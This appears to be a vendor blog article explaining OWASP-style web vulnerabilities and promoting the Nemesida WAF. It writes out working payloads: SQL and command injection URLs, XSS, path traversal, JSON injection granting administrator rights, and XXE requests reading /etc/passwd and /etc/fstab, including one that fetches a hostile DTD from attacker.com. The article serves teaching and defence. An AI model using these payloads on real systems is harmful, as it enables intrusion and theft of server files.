Web Application Security: From Vulnerabilities to Monitoring

Web application vulnerabilities appear when developers add unsafe code to a web application. It can happens both in the development stage, and in the stage of finalizing or fixing previously found vulnerabilities. Disadvantages are often classified according to their severity and prevalence. The OWASP Top 10 is considered to be the most popular and objective vulnerability classification. This rating is compiled by OWASP Project specialists and updated every 3–4 years. The current release is in 2017, and the next one is expected in 2020–2021.

Popular vulnerabilities

First of all, let’s look at typical vulnerabilities that affect many web applications.

Injections

As expected, “Injection” attacks take the leading position in the OWASP Top 10, being found almost everywhere and being extremely diverse in realization. Vulnerabilities of this class start with SQL injections, in various modifications and end with RCE-remote code execution.

SQLi: http://example.com/?id=1' union select 1,2,version(),4 
RCE: http://example.com/search.php?q=;+cat+/etc/passwd

XSS

Cross-site scripting is a vulnerability that is currently less common, according to the OWASP Top 10. But despite this, it has not become less dangerous for web applications and users. Especially for users, because they are the main target for XSS attack. In general, hacker inserts a script into a web application that is triggered for each user who visits a harmful page.

http://example.com/?search=<script>alert('xss')</script>

LFI/RFI

Vulnerabilities of this class allow hackers via the browser include local and remote files on the server in response to a web application. This gap presents where there is no correct processing of input data, which can be manipulated by an hacker, injected with path traversal characters, and include other files from the web server.

http://example.com/?search=/../../../../../../etc/passwd

JSON and XML attacks

Web applications and APIs that process requests in JSON or XML are also vulnerable to attacks, because these formats have their drawbacks.

JSON

JSON (JavaScript Object Notation) is a easy data exchange format used for communication between applications. It is similar to XML, but simpler and better for processing using JavaScript. Many web applications use this format to exchange data among themselves and serialize / deserialize data. Some web applications also use JSON to store important information, such as user data. It is commonly used in RESTful APIs and AJAX applications.

JSON is often associated with an API, but it is also used even in common and well-known web applications. For example, editing content in WordPress is done by sending requests in JSON format:

POST /index.php?rest_route=%2Fwp%2Fv2%2Fposts%2F12&_locale=user HTTP/1.1 
Host: wordpress.example.com 
… 
%Other headers% 
… 
{“id”:12,”title”:”test title”,”content”:”test body”,”status”:”publish”}

JSON Injection

A simple server-side JSON injection can be performed in PHP as:

• Server stores user data as a JSON string, including the account type;
• The user name and password are taken directly from the user input without clearing;
• A JSON string is formed using simple concatenation:

$json_string = ‘{“account”:”user”,”user”:”’.$_GET[‘user’].’”,”pass”:”’.$_GET[‘pass’].’”}’

• The hacker adds data to their username:

john%22,%22account%22:%22administrator%22

• The resulting JSON string:

{ 
    “account”:”user”,
    “user”:”john”, 
    “account”:”administrator”, 
    “pass”:”password” 
}

When reading a saved string, the JSON parser (json_decode) detects two account records and takes the last one, providing administrator rights to the user john.

A simple client-side JSON injection can be done as follows:

• The JSON string is the same as in the example above;
• The server receives a JSON string from an insecure source;
• The client parses the JSON string using eval:

var result = eval(“(“ + json_string + “)”); document.getElementById(“#account”).innerText = result.account; document.getElementById(“#user”).innerText = result.name; document.getElementById(“#pass”).innerText = result.pass;

• Account value:

user”});alert(document.cookie);({“account”:”user

• The eval function runs alert;
• Execution results in XSS and a document.cookie.

JSON Hijacking

JSON hijacking is an attack that is similar to cross-site request forgery (CSRF), in which an attacker tries to intercept JSON data sent to a web application from a web server:

• The hacker creates a harmful website and embeds a script in their code that tries to access JSON data from the target web application;
• Interact with the target web resource user visits a harmful site (for example, using social engineering techniques);
• Because the same origin policy (SOP) allows you to include and run JavaScript from any site in the context of any other site, the user gets access to JSON data;
• A harmful site intercepts JSON data.

XML External Entity

An XML external entity attack (XXE) is a type of attack that uses a widely available but rarely used feature of XML parsers. Using XXE, an attacker can cause a failure of service (DoS) attack, and get access to local and remote content and services. XXE can be used to perform server-side query manipulation (SURF) and make web application send requests to other applications. In some cases, XXE can even perform port scanning and remote code execution.

XML (Extensible Markup Language) is a very popular data format. It is used in everything from web services (XML-RPC, SOAP, REST) to documents (XML, HTML, DOCX) and image files (SVG, EXIF data). To interpret XML data, an application requires an XML parser, known as an XML processor. XML can be used for more than just declaring elements, attributes, and text. XML documents can be of a certain type. The type sets in the document, declaring the type definition. The XML parser checks whether the XML document matches the specified type before processing the document. You can use two types of type definitions: XML schema definition (XSD) or document type definition (DTD). XXE vulnerabilities take place in the last case. Although the DTD can be considered outdated, it is still widely used.

In fact, XML objects can come from everywhere, including external sources (hence the name XML External Entity). At the same time, XXE can become a type of server-side request forgery (SSRF) attack. An hacker can create a request using a URI (known in XML as a system identifier). If the XML parser is configured to handle external entities, and many popular XML parsers are configured to do so by default, the web server returns the contents of a file in the system that potentially contains confidential data.

Request:

POST http://example.com/xml HTTP/1.1 
<?xml version=”1.0" encoding=”ISO-8859–1"?> 
<!DOCTYPE foo [ 
    <!ELEMENT foo ANY> 
    <!ENTITY xxe SYSTEM “file:///etc/passwd”> 
]> 
<foo> 
    &xxe; 
</foo>

Response:

HTTP/1.0 200 OKroot:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin 
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin 
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin 
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin 
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin

The hacker is not limited to system files. You can easily get hold of the other local files, including the source code, if you know the location of these files in the server or the structure of the web application. Attacks on external objects in XML can allow an attacker to make HTTP requests to files on the local network, i.e. available only from a firewall.

Request:

POST http://example.com/xml HTTP/1.1 
<?xml version=”1.0" encoding=”ISO-8859–1"?> 
<!DOCTYPE foo [ 
    <!ELEMENT foo ANY> 
    <!ENTITY xxe SYSTEM “http://192.168.0.1/secret.txt"> 
]> 
<foo> 
    &xxe; 
</foo>

Response:

HTTP/1.0 200 OK Hello, I’m a file on the local network (behind the firewall)

Request:

POST http://example.com/xml HTTP/1.1 
<!DOCTYPE foo [ 
    <!ELEMENT foo ANY> 
    <!ENTITY bar SYSTEM “file:///etc/fstab”&gt; 
]> 
<foo> 
    &bar; 
</foo>

Response:

HTTP/1.0 500 Internal Server Error
File “file:///etc/fstab”, line 3 lxml.etree.XMLSyntaxError: Specification mandate value for attribute system, line 3, column 15

etc/fstab — is a file containing some XML-like characters, but they are not XML. It will cause the XML parser tries to parse these elements only to realize that it is an invalid XML document. Thus, embedding external XML objects is restricted by two important rules:

• XXE can only be used to get files or responses that contain “valid” XML;
• XXE cannot be used to get binary files.

XML restriction workarounds

The main problem for hacker using XXE is how to access text files with XML-like content (files containing special XML characters such as “,’,<,>). XML has a way to solve this problem. If you want to store special XML characters in XML files, you can put them in CDATA tags (character data), which are ignored by the XML parser:

<![CDATA[“‘<> characters are ok in here ]]>

Now hacker can try to send a request using character data. But it doesn’t work, because the XML specification doesn’t allow you to include external entities in combination with internal entities. Therefore, the example below will not work.

Request:

POST http://example.com/xml HTTP/1.1
<?xml version=”1.0" encoding=”ISO-8859–1"?>
<!DOCTYPE data [
<!ENTITY start “<![CDATA[“>
<!ENTITY file SYSTEM
“file:///etc/fstab”>
<!ENTITY end “]]>”>
<!ENTITY all “&start;&file;&end;”>
]>
<data>&all;</data>

Response:

HTTP/1.0 200 OK
# /etc/fstab: static file system information.
#
# Use ‘blkid’ to print the universally unique identifier for a
# device; this may be used with UUID= as a more robust way to name devices
# that works even if disks are added and removed. See fstab(5).
#
#
# / was on /dev/sda1 during installation
UUID=1b83709b-6d53–4987-aba9–72e33873cf61 / ext4 errors=remount-ro 0 1
# swap was on /dev/sda5 during installation
UUID=4ffcddd4–6b04–4bff-bd21-bf0dae4e373f none swap sw 0 0
/dev/sr0 /media/cdrom0 udf,iso9660 user,noauto 0 0

Parameter entity

In addition to general entities, XML also supports parameter entities. Parameter entities are only used in document type definitions (DTD). The parameter entity starts with the % symbol. This symbol indicates to the XML parser that the parameter object is being defined. In the following example, the parameter entity is used to define a common entity that is called from an XML document then:

Request:

POST http://example.com/xml HTTP/1.1
<?xml version=”1.0" encoding=”ISO-8859–1"?>
<!DOCTYPE data [
<!ENTITY % paramEntity
“<!ENTITY genEntity ‘bar’>”>
%paramEntity;
]>
<data>&genEntity;</data>

Response:

HTTP/1.0 200 OK
bar

Thus, hacker can take the failed example using CDATA given above and turn it into a working attack by creating a harmful DTD and posting it on his site attacker.com/evil.dtd.

Request:

POST http://example.com/xml HTTP/1.1
<?xml version=”1.0" encoding=”ISO-8859–1"?>
<!DOCTYPE data [
<!ENTITY % dtd SYSTEM
“http://attacker.com/evil.dtd">
%dtd;
%all;
]>
<data>&fileContents;</data>

In this case, the attacker’s DTD located in attacker.com/evil.dtd contains:

<!ENTITY % file SYSTEM “file:///etc/fstab”>
<!ENTITY % start “<![CDATA[“>
<!ENTITY % end “]]>”>
<!ENTITY % all “<!ENTITY fileContents
‘%start;%file;%end;’>”>

When an attacker sends this request, the XML parser first tries to parse the parameter’s DTD object by sending the request to http://attacker.com/evil.dtd. After loading the hacker’s DTD, the XML analyzer loads the %file parameter object from evil.dtd, which in this case is /etc/fstab. Then it places the contents of the file in the CDATA tag, using the %start and %end parameter objects, respectively. The result is stored in another called entity of the %all parameter. The point of this method is that %all creates a public entity named &fileContents, which can be included as the part of the response. The result is the contents of the /etc/fstab file wrapped in CDATA tags.

PHP Protocol wrappers

If the web application that is vulnerable to XXE is a PHP application, you can use other attack vectors thanks to the PHP Protocol. PHP Protocol wrappers — are Input / Output threads that provide access to PHP input and output streams. Hacker can use the php://filter Protocol wrapper to encode the contents of a file in Base64 format. As Base64 will always treat XML as valid, hacker can simply encode the files on the server and then decode them on the receiving side. This method also allows hacker to get binary files.

Request:

POST http://example.com/xml.php HTTP/1.1
<?xml version=”1.0" encoding=”ISO-8859–1"?>
    <!DOCTYPE foo [
    <!ELEMENT foo ANY>
    <!ENTITY bar SYSTEM “php://filter/read=convert.base64-encode/resource=/etc/fstab”>
]>
<foo>
    &bar;
</foo>

Response:

HTTP/1.0 200 
OKIyAvZXRjL2ZzdGFiOiBzdGF0aWMgZmlsZSBzeXN0ZW0gaW5mb3JtYXRpb24uDQojDQojIDxmaWxlIHN5c3RlbT4gPG1vdW50IHBvaW50PiAgIDx0eXBlPiAgPG9wdGlvbnM+ICAgICAgIDxkdW1wPiAgPHBhc3M+DQoNCnByb2MgIC9wcm9jICBwcm9jICBkZWZhdWx0cyAgMCAgMA0KIyAvZGV2L3NkYTUNClVVSUQ9YmUzNWE3MDktYzc4Ny00MTk4LWE5MDMtZDVmZGM4MGFiMmY4ICAvICBleHQzICByZWxhdGltZSxlcnJvcnM9cmVtb3VudC1ybyAgMCAgMQ0KIyAvZGV2L3NkYTYNClVVSUQ9Y2VlMTVlY2EtNWIyZS00OGFkLTk3MzUtZWFlNWFjMTRiYzkwICBub25lICBzd2…

Vulnerability detection tools

There are a lot of tools for detecting vulnerabilities. There are commercial products: Acunetix, Nessus Scanner, Nexpose, but they also have free trial versions with limited functionality. And there are also completely free: Wapiti, Nikto, Vega, SQLmap.

It is mostly simple and clear with commercial products. They are designed for high functionality and user convenience. Usually, no actions are required from the user — everything happens automatically, you just need to set the goal of scanning. The completely free solutions are slightly different. They require from user to participate during the whole scanning process. Also, many of them are often highly specialized and don’t allow you to cover the whole range of vulnerabilities.

Vulnerability detection tools basically function by sending specially compiled requests to the web application and analyzing responses from it. After that a decision is made about the presence or absence of a vulnerability. However, web applications quite often use Web Application Firewall — a popular tool for resisting attacks. As a rule, it allows you to block all of the above.

Different WAFs also use different algorithms to detect and block attacks. However, knowing which tool protects the web application, hacker can try to bypass restrictive rules to use vulnerabilities later. For more information about WAF traversal methods, see the article. Before you do this, you can use the Wafw00f tool to find out which WAF is used to protect your web application.

Wafw00f sends regular HTTP requests and analyzes the response from the web application, allowing you to identify a number of WAFS. If it fails, a group of potentially harmful HTTP requests is sent and simple logic is used to determine the WAF producer. If the WAF cannot be identified after this action, the previously returned responses are analyzed using another algorithm. The method that Wafw00f uses to identify Nemesida WAF is based on the 222 response status and the appropriate regular expressions:

However, this approach does not allow the tool to detect Nemesida WAF:

There are other tools that allow you to detect WAFs, such as XSStrike, but it specializes in XSS, allowing you to additionally detect security features in order to further manipulate requests to bypass locks.

We recently published our own small waf-bypass script to detect WAF omissions. For example, you can use it to compare the number of omissions for signature analysis and machine learning analysis.

Blocking attacks using WAF

As has been said before, WAF allows you to fight attacks on web applications by using various algorithms to detect and neutralize threats.

The most common option is signature analysis, which is fast, but has disadvantages that allow you to bypass the blocking rules by modifying the request, while preserving the “payload”. In such cases, the signature analysis is combined with the machine learning, increasing the accuracy of detecting attacks and reducing the number of false positives.

If you develop or service web applications and API and you can’t use the full version of Nemesida WAF, we recommend that you the free version based on signature analysis — Nemesida WAF Free. Blocked attacks will be available in your personal account (installed locally) and a well-written signature database can detect most of the known attacks.

Nemesida WAF demo stand

To make it clear how a blocked attack will finally look like, we have deployed a stand with a personal account demo.lk.nemesida-waf.com (demo@pentestit.ru/pentestit). The personal account is provided as an installation package and is also available for Nemesida WAF Free.

Nemesida WAF Free is provided as a dynamic Nginx module and can be connected to an already installed instance of a web server without recompiling it. A quick start takes no more than 5 minutes for advanced users.